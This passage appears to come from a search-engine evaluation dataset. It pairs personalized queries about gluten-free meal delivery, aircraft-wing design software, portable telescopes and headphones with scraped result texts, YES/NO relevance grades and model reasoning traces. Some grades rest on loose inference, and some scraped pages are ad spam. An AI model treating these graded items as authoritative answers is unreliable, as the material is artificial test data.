                "text": "We test and review fitness products based on an independent, multi-point methodology. If you use our links to purchase something, we may earn a commission. Read our disclosures.   Around 25% of Americans 1 follow a gluten-free diet. But finding and/or making delicious meals sans gluten can still be quite the challenge. Fortunately, many meal delivery companies have caught on to the interest and built out their menus with plenty of gluten-free options. Whether you want prepared meals so you can be completely hands-off, or meal kits that save you a bunch of time but allow you to put in some effort, there are options for you. When narrowing down the choices, we considered factors like variety, ingredient quality, and price. Here are our top picks for the best gluten-free meal delivery services.  RELATED:   Best Meal Delivery Service    Medical disclaimer: This article is intended for educational and informational purposes only. It is not intended as a substitute for medical advice. For health advice, contact a licensed healthcare provider.  12 Best Gluten-Free Meal Delivery Services   Best Gluten-Free Meal Delivery Overall:  Pete\u2019s Real Food   Best  Plant-Based  Gluten Free Meal Delivery:  Proper Good   Best Organic Gluten-Free Meal Delivery:  Hungryroot   Best Prepared Gluten-Free Meal Delivery:  Fresh n Lean   Best Gluten-Free Meal Delivery for Quick Meals:  Revive Superfoods   Best  Gluten-Free Meal Kits :  Dinnerly   Best Gluten-Free Meals for Athletes:  Factor 75   Best Gluten-Free Meal Delivery for Variety:  Epicured   Best Gluten-Free Meal Delivery for Families:  Purple Carrot   Best Vegan Gluten-Free Meal Delivery: Sakara Life   Best  Paleo  Gluten-Free Meal Delivery:  Paleo on the Go   Best  High-Protein  Gluten-Free Meal Delivery: ICON Meals   Best Gluten-Free Meal Delivery Overall: Pete\u2019s Real Food  Good for: Those who prefer to follow a  paleo  or AIP lifestyle    Best Overall   Pete\u2019s Real Food          Product Highlights    Prepared meal delivery service   Offers paleo meal plans, along with keto, kids",
                "model_trace": "Query Decomposition:\n1. {digital nomad with celiac disease}: The document is about gluten-free meal delivery services, which is relevant for someone with celiac disease -> ([1], SATISFIED)\n2. {best gluten-free meal delivery services}: The document lists the best gluten-free meal delivery services -> ([1], SATISFIED)\n3. {ship internationally}: The document does not specify whether these services ship internationally -> ([0], UNSURE)\n4. {offer long-term shelf-stable options}: The document does not specify if the meal delivery services offer long-term shelf-stable options -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {digital nomad with celiac disease} and {best gluten-free meal delivery services}, both of which are satisfied. The document does not provide information on shipping internationally or long-term shelf-stable options, but these subcomponents are tagged [0] and thus do not affect the evaluation.\n\nYES"
            }
        ]
    },
    {
        "query": "I'm an aerospace engineering student looking for a startup that provides software tools for designing and optimizing aircraft wings",
        "grid_pos": [
            3,
            4
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "The queries cover a range of personalized information about the user's background, interests, and needs, which should help surface relevant companies and startups in those domains. The queries span different industries like aerospace, beauty, photography, finance, and education technology, testing Exa's ability to understand context and match the user with appropriate corporate solutions. The level of detail and specificity in the queries makes them suitably challenging for evaluating Exa's capabilities as a smart search engine."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "AirShaper - Aerodynamics Made Easy",
                "url": "https://airshaper.com/",
                "published_date": "2023-01-17",
                "text": "AERODYNAMIC ANALYSIS Analyze & improve your aerodynamic design yourself How to run an Aerodynamic Simulation Upload Upload your 3D model Accepts non-watertight models. Set wind speed & orientation Choose simulation accuracy Order & launch your wind tunnel simulation Simulation Our cloud-based virtual wind tunnel software will run a CFD (Computational Fluid Dynamics) simulation around your 3D model. You'll be looking at the results in no time. AERODYNAMIC SHAPE OPTIMIZATIONLet our Aerodynamic Shape Optimization morph your design Benefits Improve aerodynamics to reach your goals Increase performance To make athletes go faster and drones fly further, optimizing aerodynamics is key. With AirShaper you can: Increase top speed Optimize lift & drag Gain the defining last bit of performance Reduce emissions With ever strict regulations, keeping emissions and energy consumption under control is a prime concern for transportation. With AirShaper you can: Find & tackle sources of aerodynamic drag Save fuel & extend range Improve comfort From an alley between buildings to the deck of a luxury yacht, air flow impacts wind comfort & wind safety. With AirShaper you can: Detect & eliminate high speed wind zones before a design is even built. Reduce wind noise for vehicles, planes and buildings Learn Aero Theory Testimonials Approved by your peers Aptera \"AirShaper helped us keep expenses low while still getting amazing CFD work done FAST.\" Wingtra \"With Airshaper we could vastly increase our frequency of iterations. We ran more than 100 simulations per month per person and pretty much no onboarding to the tool was needed!\" MV Agusta \"With AirShaper allowed us to take Aerodynamics Performance to the next level. The wingles on the F3 RR where optimized for maximum downforce using their shape optimization software!\" Read more Cases Aerodynamics are everywhere DEME's \"Innovation\" Vessel There are clearly quite a few good reasons to focus on renewable wind energy. And with most of the accessible windy spots on land already spoken for",
                "model_trace": "Query Decomposition:\n1. {aerospace engineering student}: This subcomponent is related to the user's background and is not directly relevant to evaluating the document -> ([0], UNSURE)\n2. {startup that provides software tools}: The document is about AirShaper, which appears to be a startup providing software tools for aerodynamic analysis and optimization -> ([1], SATISFIED)\n3. {designing and optimizing aircraft wings}: The document mentions that AirShaper provides tools for aerodynamic shape optimization, which includes optimizing lift and drag for vehicles, planes, and other designs -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {startup that provides software tools} and {designing and optimizing aircraft wings}. Both are satisfied by the document as it describes AirShaper's aerodynamic analysis and optimization tools, which are applicable to aircraft wings. YES."
            },
            {
                "grade": "YES",
                "title": "Welcome",
                "url": "https://www.aeolus-aero.com/",
                "published_date": "2014-01-01",
                "text": "Aeolus ASP\n\nEngineering software for aerodynamic analysis and shape optimization\n\nDownload\n\nEngineering Services\n\nFor structures, aerodynamics, and optimization\n\nLearn More",
                "model_trace": "Query Decomposition:\n1. {aerospace engineering student}: The document does not provide information about the target audience -> ([0], UNSURE)\n2. {startup}: The document does not explicitly state if Aeolus ASP is a startup -> ([0], UNSURE)\n3. {software tools for designing aircraft wings}: The document mentions \"Engineering software for aerodynamic analysis and shape optimization,\" which implies tools relevant for designing aircraft wings -> ([2], SATISFIED)\n4. {software tools for optimizing aircraft wings}: The document mentions \"shape optimization,\" which is relevant for optimizing aircraft wings -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {software tools for designing aircraft wings} and {software tools for optimizing aircraft wings}. Both of these subcomponents are satisfied by the document. YES."
            },
            {
                "grade": "NO",
                "title": "Airflow is now part of Electra",
                "url": "https://www.airflow.aero/",
                "published_date": null,
                "text": "is now part of\n\nLearn More >",
                "model_trace": "Query Decomposition:\n1. {aerospace engineering student}: This subcomponent is about the user's background and does not need to be evaluated in the document -> ([0], UNSURE)\n2. {startup}: The document mentions \"Airflow is now part of Electra,\" which suggests that Airflow was a startup -> ([2], SATISFIED)\n3. {provides software tools}: The document does not provide any information about the services or products offered by Airflow or Electra -> ([0], UNSURE)\n4. {for designing and optimizing aircraft wings}: The document does not mention anything about software tools for designing and optimizing aircraft wings -> ([0], UNSURE)\n\nAssessment: The only subcomponent that can be evaluated is {startup}, which is satisfied. However, the document does not provide any information about software tools or their application to aircraft wings, which are critical to the user's query. Therefore, the document is not helpful. NO."
            },
            {
                "grade": "NO",
                "title": "What is the name of software that aerospace engineering students ...",
                "url": "https://www.quora.com/What-is-the-name-of-software-that-aerospace-engineering-students-use-to-build-aircraft-and-spacecraft-models",
                "published_date": null,
                "text": "As a manager, the ability to prioritize workloads, schedule employees/projects, and track deadlines is simply impossible without a reliable and easy-to-use project management platform.   Trusted by over 180K global customers, monday.com offers an award-winning, customizable work and project management platform for all teams, industries, and sizes. With its easy-to-use interface, any member of your team can jump on and start using it immediately, no training required.   Try for free (Free forever. No credit card)&gt;&gt;       With  monday.com , you can plan, execute, and manage all of your teams' work in one place by automating and streamlining activities with no-code automations, saving you and your team hours of valuable time.   With customizable dashboards, 200+ pre-made templates, 72+ integrations, and real-time notifications and updates, optimize processes, and boost team productivity and collaboration.   You can easily track projects and meet deadlines using timelines, Gantt charts, and more. Discover why 180K+ global customers love and use monday.com.       Try monday.com for free     ||||I||||                Skip to content\n                Skip to search\n                Sign In\n                    What is the name of software that aerospace engineering students use to build aircraft and spacecraft models?\n                      All related (35)\n                Sort\n                      Recommended\n                                                    Nehal Kankanawadi\n                                              Studied Aerospace and Aeronautical Engineering (Graduated 2020)\n                                            \u00b7 3y\n                                        There are lot of Computer Aided Design tools used for designing aircraft. Some of them are\n                                         1. Catia\n                                         2. Solid works\n                                         3. Solid edge\n                                         4. Autodesk\n                                        But i",
                "model_trace": "Query Decomposition:\n1. {aerospace engineering student}: The document mentions aerospace engineering students and the software they use -> ([1], SATISFIED)\n2. {startup}: The document does not mention any startup -> ([0], UNSURE)\n3. {provides software tools}: The document lists software tools but does not mention any provider or startup -> ([1], UNSATISFIED)\n4. {designing and optimizing aircraft wings}: The document lists CAD tools for designing aircraft, which can be inferred to include aircraft wings -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {aerospace engineering student} and {designing and optimizing aircraft wings}. The document does not satisfy the subcomponent {provides software tools} as it does not mention any startup providing these tools. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Aircraft Design Software and tools | Secret Projects Forum",
                "url": "https://www.secretprojects.co.uk/threads/aircraft-design-software-and-tools.37951/",
                "published_date": null,
                "text": "Anyone played around with RDSWin?\nRDSwin-Student was developed with one purpose in mind - to let students quickly do the mundane analysis tasks so that they can focus upon learning the art and science of aircraft design. In too many engineering colleges, the senior design class becomes an exercise in analysis with a few days spent making a drawing (and for all the wrong reasons), then 95% of the semester spent trying to analyze it. In the end, it rarely performs the given mission so the students learn how to lie using numbers, and they don't have the time to learn how to design. \nRDSwin-Student is a Windows-based aircraft design and analysis tool that combines initial layout design, analysis of aerodynamics, propulsion, and weights, sizing to a mission profile, and calculation of performance and cost. RDSwin-Student simplifies the analysis required to perform trade studies and carpet plot optimization but - deliberately - requires the students to define the parametric changes, rerun the analyses, and plot the results as a learning experience. It has a powerful built-in CAD module allowing rapid layout of a new design concept. Aircraft components such as wings, tails, fuselages, and engines can be quickly created and assembled, then analyzed for the geometric parameters required for analysis (wetted area, lengths, etc...). \nABOUT THE AUTHOR \nAIAA Fellow Daniel Raymer is a world-renowned expert in aerospace vehicle design and author of the best-selling textbook Aircraft Design: A Conceptual Approach. President of Conceptual Research Corporation, he received the 2010 AIAA Aircraft Design Award, the AIAA Summerfield Book Award, the Rockwell Engineer of the Year Award, and the Purdue University Outstanding Aerospace Engineer Award. He received B.S. and M.S. engineering degrees in Astronautics and Aeronautics from Purdue, an M.B.A. from the University of Southern California, and a Doctorate of Engineering (Ph.D.) from the Swedish Royal Institute of Technology.\n\t\t  ||||I||||              * Home\n              * Forums\n  ",
                "model_trace": "Query Decomposition:\n1. {aerospace engineering student}: The document mentions that the software RDSwin-Student is designed for students, specifically for learning aircraft design -> ([1], SATISFIED)\n2. {startup}: The document does not mention a startup; it talks about a software tool and its developer, Daniel Raymer, who is associated with Conceptual Research Corporation, which is not clearly identified as a startup -> ([0], UNSURE)\n3. {software tools for designing and optimizing aircraft wings}: The document describes RDSwin-Student as a tool for aircraft design and analysis, including wings -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {aerospace engineering student} and {software tools for designing and optimizing aircraft wings}. Both of these subcomponents are satisfied. The subcomponent {startup} is tagged [0] and thus does not affect the evaluation. YES."
            },
            {
                "grade": "NO",
                "title": "The Top Software Applications Used by Aerospace Engineers",
                "url": "https://www.valispace.com/the-top-software-applications-used-by-aerospace-engineers-best-cad-simulation-requirements-design-software/",
                "published_date": null,
                "text": "Design, develop, and produce aeroplanes and other aerospace equipment; the aerospace and defense industries is a highly complex and technologically sophisticated area requiring specialist software tools. \n Aerospace engineers employ various software programs to help them with their job, including computer-aided design (CAD) software, simulation tools, and aircraft design software. In this post, we\u2019ll look at the best software tools used by aircraft engineers to aid in their job. \n CAD Software, which allows aerospace engineers to generate detailed 3D models of aircraft and aerospace systems, is a vital tool for them. CATIA, Inventor, and Autodesk are three of the most common CAD software packages utilized in the aircraft sector. \n These software programs provide a variety of capabilities, such as 3D printing, parametric design, and geometry manipulation tools. \n Software for Aerospace Requirements Management \n Requirements management is the basis of all major aerospace engineering projects and having a grip on requirements early on is the best way to ensure satisfying customer and stakeholder needs and delivering a project on time and within budget.\u00a0 \n Here are some of the world\u2019s leading requirements management software for aerospace engineers. \n Valispace \n  Valispace   is a web-based platform for collaborative engineering. It allows engineers to manage and share requirements, designs, and test data in a centralized and secure environment. It is particularly useful for managing complex systems such as those in aerospace, robotics and automation. \n It can integrate well with lots of tools (including MATLAB and Onshape) due to its open Rest API, meaning it can be a suitable home for precious aerospace engineering data. \n Benefit: Valispace enables teams to collaborate efficiently and effectively, reducing errors and improving the overall quality of the engineering process. \n Limitation: It is a web-based software, which may not be suitable for teams that work in areas with low internet connectivity. Additionally,",
                "model_trace": "Query Decomposition:\n1. {aerospace engineering student}: The document is targeted towards aerospace engineers, so it is relevant -> ([1], SATISFIED)\n2. {startup}: The document mentions Valispace, which appears to be a startup providing software tools for aerospace engineering -> ([2], SATISFIED)\n3. {software tools for designing and optimizing aircraft wings}: The document mentions various software tools, including CAD software and requirements management software, but does not specifically mention tools for designing and optimizing aircraft wings -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {aerospace engineering student} and {startup}, which are satisfied. However, the document does not specifically address software tools for designing and optimizing aircraft wings, which is a crucial part of the query. Therefore, the document is not fully aligned with the user's intent. NO."
            }
        ]
    },
    {
        "query": "As an amateur astronomer living in a light-polluted city, what are the best portable sky-tracking telescopes that can automatically compensate for light pollution and are easy to transport?",
        "grid_pos": [
            3,
            3
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Consumer Good/Consumer Service",
        "reasoning_trace": [
            "These queries are personalized, diverse, and challenging, focusing on consumer services and goods. They require understanding of specific user needs, niche markets, and specialized products, testing Exa's ability to provide relevant results for complex, personalized searches."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Fifth Star Labs",
                "url": "https://www.fifthstarlabs.com/",
                "published_date": "2018-01-01",
                "text": "Sky Guide\n\nVoyage through time\n\nSky Guide\n\nVersion X adds gorgeous aurora effects, ultra-realistic sky shading, 3D constellation art and a completely redesigned search UI. Learn More\n\nSCROLL DOWN\n\nSky Guide\n\nVersion X adds gorgeous aurora effects, ultra-realistic sky shading, 3D constellation art and a completely redesigned search UI. Learn More\n\nStargazing made simple Is it a star or Saturn? With Sky Guide, there is no fumbling about with confusing star charts, compasses and flashlights. Simply hold it overhead and Sky Guide automatically adjusts to your viewing direction so you can easily identify stars, planets, constellations and more.\n\nVoyage through time\n\nTravel to the future and know where the Moon will be for that perfectly composed photo. Or, go back in time and witness history's greatest comets. Learn More\n\nVoyage through time\n\nTravel to the future and know where the Moon will be for that perfectly composed photo. Or, go back in time and witness history's greatest comets. Learn More\n\nUseful anywhere Sky Guide functions without a Wi-Fi, data, or GPS signal. In the classroom, camping or overseas, everything is always at your fingertips.\n\nFilters Investigate the sky with invisible wavelengths of light and view hidden wonders like supernova remnants, black holes, and the cosmic microwave background. Learn More\n\nSky brightness Use two fingers to gesture up or down the intensity of star light to better match the sky in urban or rural areas. Learn More\n\nNight vision A red light setting helps preserve your dark-adapted eyesight so you can more easily see real stars.\n\nMulti-language support Sky Guide supports 11 languages including English, French, Italian, German, Spanish, Portuguese (Brazilian), Russian, Japanese, Korean, and both Traditional and Simplified Chinese. Learn More\n\nAt-a-glance essentials Rise and set times for the Sun, Moon and planets can be added to your Today view. Also stay current on great events like meteor showers, planetary alignments and more. Learn More\n\nYour personal connection to the h",
                "model_trace": "Query Decomposition:\n1. {best portable sky-tracking telescopes}: The document does not mention telescopes at all -> ([0], UNSATISFIED)\n2. {automatically compensate for light pollution}: The document mentions adjusting star light intensity to match urban or rural skies, which could be inferred as a form of compensation for light pollution -> ([2], SATISFIED)\n3. {easy to transport}: The document does not mention the portability of telescopes -> ([0], UNSATISFIED)\n\nAssessment: The document primarily discusses the features of an app called Sky Guide, which helps with stargazing but does not address the user's need for information on portable sky-tracking telescopes. The only relevant subcomponent is the compensation for light pollution, which is satisfied, but the main focus of the query is on telescopes, which the document does not address. NO."
            },
            {
                "grade": "YES",
                "title": "Most portable 2-IN-1 star tracker for photographers of any skill",
                "url": "https://www.moveshootmove.com/",
                "published_date": "2023-01-01",
                "text": "2-IN-1 STAR TRACKER & TIMELAPSE ROTATOR\n\nKICK START ASTROPHOTOGRAPHY EASILY\n\nHappy 2023 Milky Way Season!\n\nLandscape Astrophotography, Milky Way, Nebula Photography, Time Lapse, Motion Timelapse \n Star Tracker\n\nShop All\n Designed by Astrophotographers We are astrophotographers, so we know well how laborious it is to setup and move around. We want to change it, make it simple for all camera users.\n\nMSM vs No MSM Tired of trails and noise? Want to expose for more than 60 seconds? Well... MSM is what you are looking for. It moves your camera in the opposite direction but at the same speed as the earth to eliminate the stars from trailing in your image, so you can do a long exposure with ease. Easy to set up We've made the task of Polar Alignment as easy as just aiming the pointer at Polaris. Then, just set your exposure and focus, and you're ready to go.\n\nGrab and Go Compared with other star trackers out there, you'll see Move Shoot Move takes up much less space. \n \u2605\u2605\u2605\u2605\u2605 Easy for starters I am getting into Astrophotography and was looking for an affordable star tracker when I stumbled upon MSM. It is a very easy set up and I was able to get the shots I wanted. The icing on the top was the free polar scope illuminator I am going to get.\n\n\u2605\u2605\u2605\u2605\u2605 A great little tracker I bought this tracker because of its small footprint and the ease of use. And it is really a breeze to set this thing up with the laser attachment. The achievable polar alignment is sufficient for wide-angle lenses up to mid-tele-lenses.\n\n\u2605\u2605\u2605\u2605\u2605 Perfect device: small & accurate Had several try outs and it all worked terrific. Easy alignment with the laser, perfect results with exposure 5 minutes and small to take with me. Really pleased!\n\n\u2605\u2605\u2605\u2605\u2605 An amazing, budget friendly Star Tracker Easy to use, great for any level of ability. So happy with my purchase.\n\n\u2605\u2605\u2605\u2605\u2605 Very good price / value ratio A few days ago I made my first deep sky shot with the MSM rotator and I was astonished about the results I have made with it. After studing how to do the setup, it is ",
                "model_trace": "Query Decomposition:\n1. [best portable sky-tracking telescopes]: The document discusses a portable star tracker, which is relevant -> ([1], SATISFIED)\n2. [automatically compensate for light pollution]: The document does not mention compensation for light pollution -> ([0], UNSURE)\n3. [easy to transport]: The document emphasizes the portability and ease of transport of the star tracker -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponents related to portability and being a sky-tracking device. However, it does not address the ability to automatically compensate for light pollution. Since the subcomponent about light pollution is tagged [0], it should not affect the evaluation. Therefore, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Unistellar | The Most Advanced Digital Consumer Telescopes",
                "url": "https://www.unistellar.com/",
                "published_date": "2022-10-10",
                "text": "\u201cThe simple layout, stylish design and an excellent smartphone app user interface makes the eVscope 2 a doddle to use and photograph the night sky with\u201d\n\n\u201cUnistellar has created a nearly foolproof instrument that even novice skywatchers will have a blast with.\u201d\n\n\u201cThe Unistellar eVscope eQuinox is probably the best telescope for city dwellers.\u201d\n\n\u201cUnistellar\u2019s smart eVscope has made exploring the stars easier than ever before.\u201d\n\nYOU\u2019RE 2 MINUTES AWAY FROM THE UNIVERSE\nNo need for constellation knowledge, no polar star alignment. Unistellar Telescopes do it all by themselves, in just a few minutes.\n\nBE PART OF THE 1ST GLOBAL COMMUNITY OF CONNECTED TELESCOPE USERS\nAs part of the Unistellar Community \u2013 the largest global community of observers made up of 10,000 telescope users \u2013 you\u2019ll get to collaborate with experienced users and professional astronomers. Learn from their observations!\n Unistellar telescope users contributed to the conquest of space \n Connected telescope users\n\nFEEL THE THRILLS OF SCIENTIFIC DISCOVERY\nThanks to partnerships with renowned scientific organisations, like the NASA for the Exoplanet\u2019s Detection Program, and the SETI Institute for the Planetary Defense and Asteroid Occultations these telescopes designed for the public allow users to become citizen astronomers and contribute to cutting-edge research into exoplanets, asteroids, comets and much more. \n ASTEROIDS OCCULTATIONS\nMillions of asteroids exist in our Solar System. Mostly unknown or poorly known, these rocky objects hold key information about the birth of planets and even about how life first appeared on Earth.Learn how to detect an asteroid, where you can observe their shadow and what kind of results have been achieved by the Unistellar community. EXOPLANETS DETECTION\nThe discovery of exoplanets (planets orbiting stars outside the solar system) has become one of the most active and exciting areas in modern astronomy.\nNow, thanks to the Unistellar technology, you can join professional astronomers and participate in discovering and cha",
                "model_trace": "Query Decomposition:\n1. {best portable sky-tracking telescopes}: The document mentions Unistellar telescopes being user-friendly and suitable for city dwellers, implying portability and ease of use -> ([1], SATISFIED)\n2. {automatically compensate for light pollution}: The document does not explicitly mention light pollution compensation, but it does highlight the telescopes' suitability for city dwellers, which implies some level of adaptation to light pollution -> ([2], SATISFIED)\n3. {easy to transport}: The document suggests that Unistellar telescopes are designed for ease of use and portability -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents relevant to the query. YES"
            },
            {
                "grade": "NO",
                "title": "What is the best telescope for amateur stargazing and ...",
                "url": "https://www.quora.com/What-is-the-best-telescope-for-amateur-stargazing-and-photography",
                "published_date": null,
                "text": "You\u2019ve done what you can to cut back your spending.   You brew coffee at home, you don\u2019t walk into Target and you refuse to order avocado toast. (Can you sense my millennial sarcasm there?)   But no matter how cognizant you are of your spending habits, you\u2019re still stuck with those inescapable monthly bills. You know which ones we\u2019re talking about: rent, utilities, cell phone bill, insurance, groceries\u2026   So if you\u2019re ready to stop paying them, follow these moves\u2026   1. Overpriced Insurance: Cancel Your Car Insurance   You might not even realize it, but your car insurance company is probably overcharging you. In fact, they\u2019re kind of counting on you not noticing. Luckily, this problem is easy to fix.   Don\u2019t waste your time browsing insurance sites for a better deal. A company called  Insurify  shows you all your options at once \u2014 people who do this save up to $996 per year.   If you tell them a bit about yourself and your vehicle, they\u2019ll send you personalized quotes so you can compare them and find the best one for you.   Tired of overpaying for car insurance? It takes just five minutes to compare your options with Insurify and   see how much you could save on car insurance.   2. Online Shopping: If You Don\u2019t Use This Free Tool, You\u2019re Overpaying on Amazon   Wouldn\u2019t it be nice if you got an alert when you\u2019re shopping online at Amazon and are about to overpay?   That\u2019s exactly what   this free service  does.   Just add it to your browser for free, and before you check out, it\u2019ll check other websites to see if your item is available for cheaper. Let\u2019s say you\u2019re shopping for a new smart vacuum, and you assume you\u2019ve found the best price. Here\u2019s when you\u2019ll get a pop up letting you know if that exact vacuum is available elsewhere for cheaper. If there are any available coupon codes, they\u2019ll also automatically be applied to your order.   In the last year, this has saved people $800 million.   You can get started in just a few clicks to   see if you\u2019re overpaying online .   3. Internet: Get One Month of Free High-Sp",
                "model_trace": "Query Decomposition:\n1. {best portable sky-tracking telescopes}: The document does not mention telescopes or any related equipment -> ([0], UNSATISFIED)\n2. {automatically compensate for light pollution}: The document does not mention light pollution or any features related to it -> ([0], UNSATISFIED)\n3. {easy to transport}: The document does not mention portability or ease of transport for any equipment -> ([0], UNSATISFIED)\n\nAssessment: The document does not contain any relevant information about telescopes, light pollution, or portability. It is entirely focused on financial advice and savings tips, which is unrelated to the query. NO."
            },
            {
                "grade": "NO",
                "title": "Best Urban Telescope For Stargazing in Light Polluted Skys",
                "url": "https://cloudbreakoptics.com/collections/best-urban-telescope",
                "published_date": null,
                "text": "Ok, so the night sky isn\u2019t optimal for viewing in your backyard. What types of telescopes will work best for stargazing in light polluted skies?\n Solar Scopes \nThere are special scopes that permit you to safely view and photograph the sun. Not only is sun watching completely impervious to light pollution, but you don\u2019t have to stay up late to do it! Plus the sun\u2019s storms and spots change day-by-day and year-by-year, so there is always something new to look at. It\u2019s also possible to buy a front cover for your telescope that will allow you to convert a standard telescope into one that can view the sun safely. The white light front aperture filters or the Herschel wedges allow you to see sunspot detail with excellent contrast. There are also dedicated hydrogen alpha telescopes and the Quark, which only allow through a very narrow range of light from the sun, allowing you to see surface granularity, solar flares, and prominences!\n Baader ASTF/ASSF series filters\u00a0(Front aperture, white light filter, sized or loose sheet) Thousand Oaks 2+ series\u00a0(Front aperture, white light filter, sized) White Light Herschel Wedges\u00a0(Refractors only, white light) Daystar Quark\u00a0(SCTs or Refractors, Hydrogen Alpha and other specialty bandpasses) Lunt and Coronado Solar Telescopes\u00a0(Dedicated Hydrogen Alpha scope, can add double stack)\n Planets \nPlanets are easily observed with urban telescopes. If you\u2019ve ever seen them in the night sky, you probably noticed that Venus, Mars, Jupiter, and Saturn are all quite bright. We love the simplicity of an alt-azimuth\u00a0refractor\u00a0or\u00a0Maksutov\u00a0scope for planetary tasks. These scopes are about as hassle-free as a telescope can be and they look really attractive, so you might even find yourself leaving it set up all of the time (which is awesome because you don\u2019t have to dig it out of a closet every time you want to take a quick look). Planetary viewing also benefits from telescopes that can support a high magnification, and that have long native focal length.\n Our favorites for planet-centric viewing: \n C",
                "model_trace": "Query Decomposition:\n1. {best portable sky-tracking telescopes}: The document does not mention portable sky-tracking telescopes -> ([0], UNSURE)\n2. {automatically compensate for light pollution}: The document does not mention telescopes that automatically compensate for light pollution -> ([0], UNSURE)\n3. {easy to transport}: The document does not mention the ease of transport of the telescopes -> ([0], UNSURE)\n4. {best telescopes for light-polluted cities}: The document does discuss telescopes suitable for light-polluted skies -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponent related to telescopes for light-polluted skies but does not address the other key aspects of the query, such as portability, automatic compensation for light pollution, and ease of transport. Therefore, it does not fully meet the user's needs. NO."
            },
            {
                "grade": "NO",
                "title": "Beginner's Guide to Using a Telescope",
                "url": "https://www.highpointscientific.com/astronomy-hub/post/astronomy-101/beginners-guide-to-using-a-telescope",
                "published_date": null,
                "text": "Table of Contents\nIn a hurry or only need a few questions answered regarding the set up or use of your telescope? Below is a list of links to sections in this Guide. Just find the question that best reflects what you need to know and click it to be taken to that section. Enjoy.\nFirst Time Telescope Users Guide\nCongratulations! You\u2019ve purchased your first telescope - an optical time machine that will help you explore our amazing Universe. You may have aspirations of discovering comets or becoming a published astro-imager someday; or you might want to simply enjoy views of the moon &amp; planets from time to time. Whatever your astronomy goals, one thing\u2019s for certain: We all must start at the beginning, and this guide will show you how to use a telescope. Feel free to skip to sections that intrigue you by using the Table of Contents at the end of this Guide, or go crazy and read the whole thing!\nBefore we start, please heed this important warning: Never look at the Sun through any telescope or finder without the proper filtration. It just takes a few seconds to irreparably damage your eyesight - think of how powerful sunlight is when focused through a magnifying glass! Visit the Recommended Accessories section to learn more about filters for safe solar viewing.\nAssembling Your Telescope\nThis guide assumes you have put your telescope together according to the manufacturer\u2019s directions. Here are a few hints to make that job easier:\nPut your telescope together for the first time when you are indoors and have lots of light. Just because a telescope is normally used during evening hours doesn\u2019t mean you have to set it up in the dark!\nGive yourself plenty of room, and gather together a good portion of patience, as well as any tools that are required for assembly before you start.\nOnce you are finished with assembly, stay indoors and take some time to learn a bit more about its features before you take your telescope outside for the first time.\nGET TO KNOW YOUR FIRST TELESCOPE\nWhat Mount Type Do You Have? How Does Your T",
                "model_trace": "Query Decomposition:\n1. {portable sky-tracking telescopes}: The document is a beginner's guide to using a telescope and does not specifically mention portable sky-tracking telescopes -> ([0], UNSURE)\n2. {automatically compensate for light pollution}: The document does not mention any features related to compensating for light pollution -> ([0], UNSURE)\n3. {easy to transport}: The document does not provide information on the portability of telescopes -> ([0], UNSURE)\n\nAssessment: The document does not contain specific information about portable sky-tracking telescopes that can automatically compensate for light pollution and are easy to transport. It focuses on general beginner's guidance for using a telescope, which does not align with the specific needs of the query. NO."
            }
        ]
    },
    {
        "query": "I'm a professional voice actor with a home studio. What are the top noise-cancelling headphones that won't interfere with my recordings but still allow me to hear my own voice clearly?",
        "grid_pos": [
            3,
            3
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Consumer Good/Consumer Service",
        "reasoning_trace": [
            "These queries are personalized, diverse, and challenging, focusing on consumer services and goods. They require understanding of specific user needs, niche markets, and specialized products, testing Exa's ability to provide relevant results for complex, personalized searches."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "The Best Noise-Canceling Headphones of 2023 \u2014 Which Is Right For You?",
                "url": "https://www.gearpatrol.com/tech/audio/g37961012/best-noise-canceling-headphones/",
                "published_date": "2023-01-23",
                "text": "Active noise-canceling headphones are some of the most popular on the market, and for good reason: using special built-in microphones, they can electronically generate opposing sound waves \u2014 called antiphases \u2014 that cancel out ambient sounds. The result is that you just hear the music, not your apartment's TV, your colleagues' lunch conversation or the dull buzz of an airplane. You can buy noise-canceling headphones in a wireless earbud design, but over-ear designs do a better job at passively blocking out noise. The combination of great active and passive noise-cancellation, plus the fact that over-ear headphones are able to have bigger and more powerful drivers, make over-ear headphones the best type of active noise-canceling headphones bar none.\n\nBest All-Around\n Sony WH-1000XM5\n Read More\n\nBest Upgrade\n Apple AirPods Max\n Read More\n\nBest Budget\n Sennheiser HD 450BT\n Read More\n\nMaster & Dynamic MW75\n Read More\n\nBose QuietComfort 45\n Read More\n\nAnd there are a ton to choose from. Bose and Sony have been the industry leaders for numerous years, and each makes a few different models of noise-canceling headphones. Then there's the fact that seemingly every other audio company \u2014 including Apple now \u2014 has its own take on the perfect noise-canceling headphones with the AirPods Max. Most of the best noise-canceling headphones hover somewhere near $300 or above; if you don\u2019t want to spend as much you can find older, wired models of the Bose QC25 or Sony 1000XM that are both excellent and significantly more affordable. You can snag an even better deal with manufacturer-refurbished models on eBay, Amazon or the company\u2019s own website; you can get a really good deal and all of those reliable websites have fairly lenient return policies in case the headphones don\u2019t meet your expectations. Other Headphone/Earbud Guides What to Look for Active noise-cancellation: Not every pair of active noise-canceling headphones has the same noise-canceling power. The best ones, typically made by Sony or Bose, have superior processors and b",
